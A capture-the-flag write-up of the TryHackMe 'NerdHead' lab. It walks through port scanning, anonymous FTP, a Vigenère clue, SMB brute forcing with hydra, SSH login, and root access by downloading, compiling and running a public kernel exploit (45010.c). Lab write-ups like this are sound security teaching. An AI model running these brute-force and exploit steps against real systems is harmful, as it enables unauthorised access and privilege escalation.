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NerdHead | Sept 15, 2022

Introduction

Welcome to my another writeup! In this TryHackMe NerdHead room, there are tons of stuff that’s worth learning! Without further ado, let’s dive in.

Background

Hack your way into this easy/medium level legendary TV series “Chuck” themed box!

Difficulty: Medium

Hack this machine before nerd herd fellas arrive, happy hacking!!!

Service Enumeration

As usual, scan the machine for open ports via rustscan!

Rustscan:

┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead]
└─# export RHOSTS=10.10.115.60 
                                                                                                 
┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead]
└─# rustscan --ulimit 5000 -t 2000 --range=1-65535 $RHOSTS -- -sC -sV -oN rustscan/rustscan.txt
[...]
PORT     STATE SERVICE     REASON         VERSION
21/tcp   open  ftp         syn-ack ttl 63 vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.18.61.134
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 4
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x    3 ftp      ftp          4096 Sep 11  2020 pub
22/tcp   open  ssh         syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 0c:84:1b:36:b2:a2:e1:11:dd:6a:ef:42:7b:0d:bb:43 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCYrqlEH/5dR4LGfKThK3BQuCVPxx91asS9FfOewAooNFJf4zsESd/VCHcfQCXEHucZo7+xdceZklC7PwhzmybjkN79iQcd040gw5kg0htMWuVzdzcVFowV0hC1o7Rbze7zLya1B1C105aEoRKVHVeTx0ishoJfJlkJBlx2nKrKWciDYbJQvG+1TxEJaEM4KkmkO31y0L7C3nsdaEd+Z/lNIo6JfbxwrOb6vBonPLS/lZDJdaY0vrdZJ81FRiMbSuUIj3lEtDAZNWBTwXx5kO3fwodw4KbS0ukW5srZX5TLmf/Q/T8ooCnJMLvaksIXKl0r8fjJIx0QucoCwhCTR2o1
|   256 e2:5d:9e:e7:28:ea:d3:dd:d4:cc:20:86:a3:df:23:b8 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNSB3jALoSxl/A6Jtpf21NoRfbr8ICR6FpH+bbprQ17LUFUm6pUrhDSx134JBYKLOfFljhNKR57LLS6LAK0bKB0=
|   256 ec:be:23:7b:a9:4c:21:85:bc:a8:db:0e:7c:39:de:49 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAII4VHJRelvecImJNkkZcKdI+vK0Hn1SjMT2r8SaiLiK3
139/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn syn-ack ttl 63 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
1337/tcp open  http        syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: Host: NERDHERD; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -59m59s, deviation: 1h43m54s, median: 0s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required
| nbstat: NetBIOS name: NERDHERD, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
|   NERDHERD<00>         Flags: <unique><active>
|   NERDHERD<03>         Flags: <unique><active>
|   NERDHERD<20>         Flags: <unique><active>
|   \x01\x02__MSBROWSE__\x02<01>  Flags: <group><active>
|   WORKGROUP<00>        Flags: <group><active>
|   WORKGROUP<1d>        Flags: <unique><active>
|   WORKGROUP<1e>        Flags: <group><active>
| Statistics:
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|   00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|_  00 00 00 00 00 00 00 00 00 00 00 00 00 00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2022-09-15T01:25:44
|_  start_date: N/A
| p2p-conficker: 
|   Checking for Conficker.C or higher...
|   Check 1 (port 44658/tcp): CLEAN (Couldn't connect)
|   Check 2 (port 65101/tcp): CLEAN (Couldn't connect)
|   Check 3 (port 47234/udp): CLEAN (Failed to receive data)
|   Check 4 (port 17775/udp): CLEAN (Failed to receive data)
|_  0/4 checks are positive: Host is CLEAN or ports are blocked
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: nerdherd
|   NetBIOS computer name: NERDHERD\x00
|   Domain name: \x00
|   FQDN: nerdherd
|_  System time: 2022-09-15T04:25:44+03:00

According to rustscan result, we have 5 ports are opened:

Open Ports Service
21 vsftpd 3.0.3
22 OpenSSH 7.2p2 Ubuntu
139,445 Samba 4.3.11 Ubuntu
1337 Apache 2.4.18 ((Ubuntu))

FTP on Port 21

┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead]
└─# ftp $RHOSTS       
Connected to 10.10.115.60.
220 (vsFTPd 3.0.3)
Name (10.10.115.60:nam): anonymous
230 Login successful.
[...]
ftp> 
ftp> ls -lah
229 Entering Extended Passive Mode (|||45508|)
150 Here comes the directory listing.
drwxr-xr-x    3 ftp      ftp          4096 Sep 11  2020 .
drwxr-xr-x    3 ftp      ftp          4096 Sep 11  2020 ..
drwxr-xr-x    3 ftp      ftp          4096 Sep 11  2020 pub

Found pub directory.

ftp> cd pub
250 Directory successfully changed.
ftp> ls -lah
229 Entering Extended Passive Mode (|||44620|)
150 Here comes the directory listing.
drwxr-xr-x    3 ftp      ftp          4096 Sep 11  2020 .
drwxr-xr-x    3 ftp      ftp          4096 Sep 11  2020 ..
drwxr-xr-x    2 ftp      ftp          4096 Sep 14  2020 .jokesonyou
-rw-rw-r--    1 ftp      ftp         89894 Sep 11  2020 youfoundme.png

We can recursively download all files via wget:

┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead]
└─# wget -r ftp://anonymous:''@$RHOSTS

┌──(root🌸siunam)-[~/…/NerdHead/10.10.115.60/pub/.jokesonyou]
└─# cat hellon3rd.txt 
all you need is in the leet

Nothing useful in FTP? The “leet” is refer to 1337 in leetspeak. Let’s check HTTP on port 1337.

HTTP on Port 1337

view-source:http://10.10.115.60:1337/:

<!--
	hmm, wonder what i hide here?
 -->

<!--
	maybe nothing? :)
 -->

<!--
	keep digging, mister/ma'am
 -->

<body onload="alertFunc()">

<script>
function alertFunc() {
  alert("HACKED by 0xpr0N3rd");
  alert("Just kidding silly.. I left something in here for you to find")
}
</script>

<p>Maybe the answer is in <a href="https://www.youtube.com/watch?v=9Gc4QTqslN4">here</a>.</p>

</body>

Nice rabbit hole! :D

Next, why not enumerate hidden directory via gobuster?

┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead]
└─# gobuster dir -u http://$RHOSTS:1337/ -w /usr/share/wordlists/dirb/common.txt -t 100      
[...]
/admin                (Status: 301) [Size: 319] [--> http://10.10.115.60:1337/admin/]
/index.html           (Status: 200) [Size: 11755]                                    
/server-status        (Status: 403) [Size: 279]

Found /admin/ directory.

/admin/:

It’s a login page. Let’s View-Source to see any shenanigans:

<!--
	these might help:
		Y2liYXJ0b3dza2k= : aGVoZWdvdTwdasddHlvdQ==
-->

Found a credentials in base64 encoding! Let’s decode that:

┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead]
└─# echo "Y2liYXJ0b3dza2k=" | base64 -d                            
cibartowski

┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead]
└─# echo "aGVoZWdvdTwdasddHlvdQ==" | base64 -d                             
hehegou<j�][�base64: invalid input

The second one looks weird.

I tried to login with that credentials, but no luck. Turns out it’s a rabbit hole.

SMB on Port 445

Enum4linux:

┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead]
└─# enum4linux $RHOSTS | tee enum4linux.log
[...]
=================================( Share Enumeration on 10.10.115.60 )=================================


	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	nerdherd_classified Disk      Samba on Ubuntu
	IPC$            IPC       IPC Service (nerdherd server (Samba, Ubuntu))
[...]

[+] Attempting to map shares on 10.10.115.60

//10.10.115.60/print$	Mapping: DENIED Listing: N/A Writing: N/A
//10.10.115.60/nerdherd_classified	Mapping: DENIED Listing: N/A Writing: N/A
[...]
[+] Enumerating users using SID S-1-5-21-2306820301-2176855359-2727674639 and logon username '', password ''

S-1-5-21-2306820301-2176855359-2727674639-501 NERDHERD\nobody (Local User)
S-1-5-21-2306820301-2176855359-2727674639-513 NERDHERD\None (Domain Group)
S-1-5-21-2306820301-2176855359-2727674639-1000 NERDHERD\chuck (Local User)
[...]

Try to connect to nerdherd_classified share:

┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead]
└─# smbclient \\\\$RHOSTS\\nerdherd_classified 
Password for [WORKGROUP\nam]:
tree connect failed: NT_STATUS_ACCESS_DENIED

Looks like we need a credentials…

Maybe we can try to brute force SMB?

I’ll do this via hydra:

┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead]
└─# hydra -t 1 -f -l chuck -P /usr/share/wordlists/rockyou.txt $RHOSTS smb
[...]

But no luck…

Ok, let’s take a step back. I was missing something.

Initial Foothold

In the /pub/youfoundme.png from FTP port, it might has some metadata that worth to look at:

exiftool:

┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead/10.10.115.60]
└─# exiftool info pub/youfoundme.png 
[...]
Owner Name                      : fijbxslz

The Owner Name looks weird… Maybe it an encrypted message?

I copy and pasted this encrypted message to Cipher Identifier and Analyzer:

However, if we need to decrypt a vigenere cipher message, we need a decryption key. (From CyberChef)

Hmm… Do you still remember a YouTube link in HTTP on port 1337?

<p>Maybe the answer is in <a href="https://www.youtube.com/watch?v=9Gc4QTqslN4">here</a>.</p>

And this YouTube video is a song called “The Trashmen - Surfin Bird”

Hmm… What if the decryption key is inside the lyrics? :D

The lyrics repeat the word “bird is the word“ a LOT. Let’s try this as the decryption key:

Boom!!! We got a credentials!

This got me thinking: Is this password is for user chuck in SMB??

Let’s try that!

┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead]
└─# smbclient \\\\$RHOSTS\\nerdherd_classified -U chuck%{Redacted}   
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Thu Sep 10 21:29:53 2020
  ..                                  D        0  Thu Nov  5 15:44:40 2020
  secr3t.txt                          N      125  Thu Sep 10 21:29:53 2020

		8124856 blocks of size 1024. 3414112 blocks available

Let’s go!! We got him! Let’s get that secr3t.txt file:

smb: \> get secr3t.txt

┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead]
└─# cat secr3t.txt               
Ssssh! don't tell this anyone because you deserved it this far:

	check out "/this1sn0tadirect0ry"

Sincerely,
	0xpr0N3rd
<3

100% sure this is for HTTP on port 1337!

/this1sn0tadirect0ry/:

A file called creds.txt? Let’s wget that:

┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead]
└─# wget http://$RHOSTS:1337/this1sn0tadirect0ry/creds.txt

┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead]
└─# cat creds.txt 
alright, enough with the games.

here, take my ssh creds:
	
	chuck : {Redacted}

Nice! We got his password in SSH!

SSH into chuck:

┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead]
└─# ssh chuck@$RHOSTS                                           
[...]
chuck@nerdherd:~$ whoami;hostname;id;ip a
chuck
nerdherd
uid=1000(chuck) gid=1000(chuck) groups=1000(chuck),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
[...]
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:dc:d9:0b:1e:0d brd ff:ff:ff:ff:ff:ff
    inet 10.10.52.70/16 brd 10.10.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::dc:d9ff:fe0b:1e0d/64 scope link 
       valid_lft forever preferred_lft forever

I’m chuck!

user.txt:

chuck@nerdherd:~$ cat /home/chuck/user.txt 
THM{Redacted}

Privilege Escalation

chuck to root

Home directory of user chuck:

chuck@nerdherd:~$ ls -lah
[...]
-rw-------  1 chuck chuck  742 Kas  5  2020 .bash_history
[...]

Let’s look at .bash_history:

chuck@nerdherd:~$ cat .bash_history 

exit
su
exit
su
exit
ifconfig 
clear
ftp localhost
clear
cd /Desk
cd /home/chuck/Desktop/
clear
ftp localhost
service restart ftp
service ftpd restart
why are you looking at my logs????
su 
clear
ftp localhost
restart
reboot

Nothing useful.

Kernel version:

chuck@nerdherd:~$ uname -a;cat /etc/issue
Linux nerdherd 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
Ubuntu 16.04.1 LTS \n \l

This kernel version looks like is vulnerable to kernel exploit?

After some googling about Linux kernel 4.4.0-31 exploit, I found several kernel exploits that work for us.

Instead of using the infamous dirtycow kernel exploits, I’ll use another kernel exploit:

┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead]
└─# searchsploit 45010
---------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                    |  Path
---------------------------------------------------------------------------------- ---------------------------------
Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation     | linux/local/45010.c
---------------------------------------------------------------------------------- ---------------------------------

┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead]
└─# searchsploit -m 45010

To exploit it, I’ll:

chuck@nerdherd:/tmp$ which gcc
/usr/bin/gcc

It has gcc! Then I’ll compile the exploit from there.

┌──(root🌸siunam)-[~/ctf/thm/ctf/NerdHead]
└─# python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

chuck@nerdherd:/tmp$ wget http://10.18.61.134/45010.c

chuck@nerdherd:/tmp$ gcc 45010.c -o 45010
chuck@nerdherd:/tmp$ ./45010 
[.] 
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)
[.] 
[.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **
[.] 
[*] creating bpf map
[*] sneaking evil bpf past the verifier
[*] creating socketpair()
[*] attaching bpf backdoor to socket
[*] skbuff => ffff88000f262f00
[*] Leaking sock struct from ffff88000e517800
[*] Sock->sk_rcvtimeo at offset 472
[*] Cred structure at ffff880019e78f00
[*] UID from cred structure: 1000, matches the current: 1000
[*] hammering cred structure at ffff880019e78f00
[*] credentials patched, launching shell...
# whoami;hostname;id;ip a
root
nerdherd
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),1000(chuck)
[...]
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:dc:d9:0b:1e:0d brd ff:ff:ff:ff:ff:ff
    inet 10.10.52.70/16 brd 10.10.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::dc:d9ff:fe0b:1e0d/64 scope link 
       valid_lft forever preferred_lft forever

And I’m root! :D

Rooted

root.txt:

# cat /root/root.txt
cmon, wouldnt it be too easy if i place the root flag here?

Hmm… Let’s find where the root flag lives.

.root.txt:

# find / -type f -name "*root.txt*" 2>/dev/null
/root/root.txt
/opt/.root.txt

# cat /opt/.root.txt
nOOt nOOt! you've found the real flag, congratz!

THM{Redacted}

Bonus Flag:

By looking at the root’s .bash_history, it has the size of 3.1K, which should contain lots of history:

# ls -lah /root/.bash_history
-rw-r--r-- 1 root root 3,1K Kas  5  2020 /root/.bash_history

# cat /root/.bash_history
[...]
cp youfoundme.png /home/chuck/Desktop/
ls -la
rm youfoundme.png 
THM{Redacted}

Found it! :D

Conclusion

What we’ve learned:

  1. FTP Enumeration
  2. Directory Enumeration
  3. SMB Enumeration
  4. Vigenere Cipher
  5. Privilege Escalation via Kernel Exploit